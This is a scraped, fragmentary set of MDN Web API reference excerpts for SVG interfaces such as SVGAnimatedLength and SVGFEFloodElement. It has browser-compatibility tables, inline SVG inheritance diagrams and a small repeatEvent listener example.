... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedenumerationchrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedInteger - Web APIs
svg animated integer interface the svganimatedinteger interface is used for attributes of basic type <integer> which can be animated.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedintegerchrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedLength - Web APIs
svg animated length interface the svganimatedlength interface is used for attributes of basic type <length> which can be animated.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedlengthchrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedLengthList - Web APIs
svg animated length list interface the svganimatedlengthlist interface is used for attributes of type svglengthlist which can be animated.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedlengthlistchrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedNumber - Web APIs
svg animated number interface the svganimatednumber interface is used for attributes of basic type <number> which can be animated.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatednumberchrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedNumberList - Web APIs
svg animated number list interface the svganimatednumber interface is used for attributes which take a list of numbers and which can be animated.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatednumberlistchrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedPreserveAspectRatio - Web APIs
svg animated preserveaspectratio interface the svganimatedpreserveaspectratio interface is used for attributes of type svgpreserveaspectratio which can be animated.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedpreserveaspectratiochrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedRect - Web APIs
the svganimatedrect interface is used for attributes of basic svgrect which can be animated.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedrectchrome full support yesedge full support ≤18firefox full support yesie ?
... opera full support yessafari full support yeswebview android no support nochrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support...
SVGAnimatedTransformList - Web APIs
svg animated transform list interface the svganimatedtransformlist interface is used for attributes which take a list of numbers and which can be animated.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsvganimatedtransformlistchrome full support yesedge full support ≤18firefox full support 9ie ?
... opera full support yessafari full support yeswebview android no support nochrome android full support yesfirefox android full support 9opera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support no support no support ...
SVGAnimationElement: repeatEvent event - Web APIs
it will be fired each time the element repeats, after the first iteration.
... note: associated with the repeatevent event is an integer that indicates which repeat iteration is beginning; this can be found in the detail property of the event object.
...this is supported in firefox, but not in chrome.
...> ul { height: 100px; border: 1px solid #ddd; overflow-y: scroll; padding: 10px 30px; } let svgelem = document.queryselector('svg'); let animateelem = document.queryselector('animatemotion'); let list = document.queryselector('ul'); animateelem.addeventlistener('beginevent', () => { let listitem = document.createelement('li'); listitem.textcontent = 'beginevent fired'; list.appendchild(listitem); }) animateelem.addeventlistener('repeatevent', (e) => { let listitem = document.createelement('li'); let msg = 'repeatevent fired'; if(e.detail) { msg += '; repeat number: ' + e.detail; } listitem.textcontent = msg; list.appendchild(listitem); }) event handler property equivalent note that you can also create an event listener for the repeat event using the onr...
SVGDefsElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svggraphicselement" target="_top"><rect x="301" y="65" width="180" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">sv...
...e points="301,89 291,84 291,94 301,89" stroke="#d4dde4" fill="none"/><line x1="291" y1="89" x2="261" y2="89" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgdefselement" target="_top"><rect x="121" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="191" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgdefselement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface doesn't implement any specific properties, but inherits properties from its parent, svggraphicselement.
SVGDocument - Web APIs
svg document interface when an "svg" element is embedded inline as a component of a document from another namespace, such as when an "svg" element is embedded inline within an xhtml document, then an svgdocument object will not exist; instead, the root object in the document object hierarchy will be a document object of a different type, such as an htmldocument object.
... rootelement svgsvgelement the root "svg" in the document hierarchy.
... browser compatibility desktop mobile chrome edge firefox internet explorer opera safari android webview chrome for android firefox for android opera for android safari on ios samsung internet svgdocument chrome ?
... chrome android ?
SVGElement - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties also inherits properties from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement, svgelementinstance svgelement.datasetread only a domstringmap object which provides a list of key/value pairs of named data attributes which correspond to custom data attributes attached to the element.
... svgelement.viewportelementread only the svgelement, which established the current viewport.
SVGFEComponentTransferElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfecomponenttransferelement" target="_top"><rect x="191" y="65" width="290" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="336" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseli...
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfecomponenttransferelement' in that specification.
SVGFEDiffuseLightingElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfediffuselightingelement" target="_top"><rect x="211" y="65" width="270" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="346" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline...
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfediffuselightingelement' in that specification.
SVGFEDistantLightElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfedistantlightelement" target="_top"><rect x="241" y="65" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="361" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="m...
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfedistantlightelement' in that specification.
SVGFEFloodElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfefloodelement" target="_top"><rect x="311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">...
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfefloodelement' in that specification.
SVGFEGaussianBlurElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfegaussianblurelement" target="_top"><rect x="241" y="65" width="240" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="361" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="m...
...it is invalid to attempt to define a new value of this type or to attempt to switch an existing value to this type.
SVGFEImageElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfeimageelement" target="_top"><rect x="311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">...
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfeimageelement' in that specification.
SVGFEMergeElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgelement" target="_top"><rect x="381" y="1" width="100" heigh...
...t="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="431" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">svgelement</text></a><polyline points="481,25 491,20 491,30 481,25" stroke="#d4dde4" fill="none"/><line x1="491" y1="25" x2="499" y2="25" stroke="#d4dde4"/><line x1="499" y1="25" x2="499" y2="90" stroke="#d4dde4"/><line x1="499" y1="90" x2="482" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/svgfemergeelement" target="_top"><rect x="311" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">...
... working draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgfemergeelement' in that specification.
SVGFEMergeNodeElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
